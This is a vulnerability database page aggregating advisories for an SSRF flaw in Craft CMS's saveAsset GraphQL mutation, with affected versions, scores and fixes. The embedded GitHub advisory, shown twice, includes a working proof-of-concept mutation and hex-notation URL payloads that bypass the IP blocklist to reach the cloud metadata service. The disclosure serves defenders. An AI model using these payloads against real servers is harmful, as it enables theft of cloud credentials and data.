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CVE-2026-25494

Craft has a SSRF in GraphQL Asset Mutation via Alternative IP Notation

6.9 MediumFix available

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.40%Up 0.4 points since Feb 10, 2026
90%50%10%1%

What each source reports

CVE List Score used 6.9

Craft has a SSRF in GraphQL Asset Mutation via Alternative IP Notation

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.

Record
CVE-2026-25494
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-6840 6.9

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.

Record
EUVD-2026-6840
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-m5r2-8p9x-hp5m 6.9

Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation

I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.

Summary

The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.

Proof of Concept

  1. Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "http://169.254.0xa9fe/latest/meta-data/"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The IP validation passes (hex notation not recognized as IP)
  2. Guzzle resolves 169.254.0xa9fe to 169.254.169.254
  3. Cloud metadata is fetched and saved

Alternative Payloads

| Payload | Notation | Resolves To | |---------|----------|-------------| | http://169.254.0xa9fe/ | Mixed (decimal + hex) | 169.254.169.254 | | http://0xa9.0xfe.0xa9.0xfe/ | Full hex dotted | 169.254.169.254 | | http://0xa9fea9fe/ | Single hex integer | 169.254.169.254 |

Technical Details

File: src/gql/resolvers/mutations/Asset.php Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
Record
GHSA-m5r2-8p9x-hp5m
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-918
Updated
2026-11-02
NVD 6.9

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.

Record
CVE-2026-25494
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 6.9

Craft has a SSRF in GraphQL Asset Mutation via Alternative IP Notation

Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services. This issue is patched in versions 4.16.18 and 5.8.22.

Record
CVE-2026-25494
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-m5r2-8p9x-hp5m 6.9

Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via Alternative IP Notation

I observed a recent commit intended to mitigate Server-Side Request Forgery (SSRF) vulnerabilities. While the implemented defense mechanisms are an improvement, I have identified two methods to bypass these protections. This report details the first bypass method involving alternative IP notation, while the second method will be submitted in a separate advisory.

Summary

The saveAsset GraphQL mutation uses filter_var(..., FILTER_VALIDATE_IP) to block a specific list of IP addresses. However, alternative IP notations (hexadecimal, mixed) are not recognized by this function, allowing attackers to bypass the blocklist and access cloud metadata services.

Proof of Concept

  1. Send the following GraphQL mutation:
mutation {
    save_images_Asset(_file: { 
        url: "http://169.254.0xa9fe/latest/meta-data/"
        filename: "metadata.txt"
    }) {
        id
    }
}
  1. The IP validation passes (hex notation not recognized as IP)
  2. Guzzle resolves 169.254.0xa9fe to 169.254.169.254
  3. Cloud metadata is fetched and saved

Alternative Payloads

| Payload | Notation | Resolves To | |---------|----------|-------------| | http://169.254.0xa9fe/ | Mixed (decimal + hex) | 169.254.169.254 | | http://0xa9.0xfe.0xa9.0xfe/ | Full hex dotted | 169.254.169.254 | | http://0xa9fea9fe/ | Single hex integer | 169.254.169.254 |

Technical Details

File: src/gql/resolvers/mutations/Asset.php Root Cause: filter_var($hostname, FILTER_VALIDATE_IP) only recognizes standard dotted-decimal notation. Hex representations bypass this check, but Guzzle still resolves them.

// Line 287 - Fails to catch hex notation
filter_var($hostname, FILTER_VALIDATE_IP)
Record
GHSA-m5r2-8p9x-hp5m
CVSS 4.0
6.9 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-918
Updated
2026-11-02
OSVCLSA-2026-1784682948 No score

TuxCare security update for craftcms/cms (14 CVEs)

TuxCare rebuilt craftcms/cms to address 14 CVEs. Fixed in 3.9.15-p7+tuxcare.

Record
CLSA-2026-1784682948
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
craftcms/cms
Packagist
 5.0.0-RC1 to 5.8.21
5.8.22
craftcms/cms
Packagist
 4.0.0-RC1 to 4.16.17
4.16.18
craftcms/cms
TuxCare:Packagist
From an advisory covering 12 CVEs
 3.9.15 up to 3.9.15-p7+tuxcare, plus listed versions
3.9.15-p1+tuxcare3.9.15-p2+tuxcare3.9.15-p3+tuxcare3.9.15-p4+tuxcare3.9.15-p5+tuxcare3.9.15-p6+tuxcare
3.9.15-p7+tuxcare
craftcms/cms
Packagist
 5.0.0-RC1 up to 5.8.22, plus listed versions
5.0.05.0.15.0.25.0.35.0.4
Show 45 moreShow less
5.0.55.0.65.1.05.1.15.1.105.1.25.1.35.1.45.1.55.1.65.1.75.1.85.1.95.2.05.2.0-beta.15.2.0-beta.25.2.0-beta.35.2.0-beta.45.2.0-beta.55.2.0-beta.65.2.15.2.105.2.25.2.35.2.45.2.4.15.2.55.2.65.2.75.2.85.2.95.3.05.3.0-beta.15.3.0-beta.25.3.0.15.3.0.25.3.0.35.3.15.3.25.3.35.3.45.3.55.3.65.4.05.4.0.1
5.8.22
craftcms/cms
Packagist
 4.0.0-RC1 up to 4.16.18, plus listed versions
4.0.04.0.0-RC24.0.0-RC34.0.0.14.0.1
Show 45 moreShow less
4.0.24.0.34.0.44.0.54.0.5.14.0.5.24.0.64.1.04.1.0.14.1.0.24.1.14.1.24.1.34.1.44.1.4.14.10.04.10.0-beta.14.10.0-beta.24.10.14.10.24.10.34.10.44.10.54.10.64.10.74.10.84.11.04.11.0.14.11.0.24.11.14.11.24.11.34.11.44.11.54.12.04.12.14.12.24.12.34.12.44.12.4.14.12.54.12.64.12.6.14.12.74.12.8
4.16.18

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-25494 is a medium vulnerability (CVSS 6.9) in Craftcms Cms, published February 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. Fixed in craftcms/cms 5.8.22.

References

This page doesn't list everything

Left out here: 268 versions. The JSON record has them.

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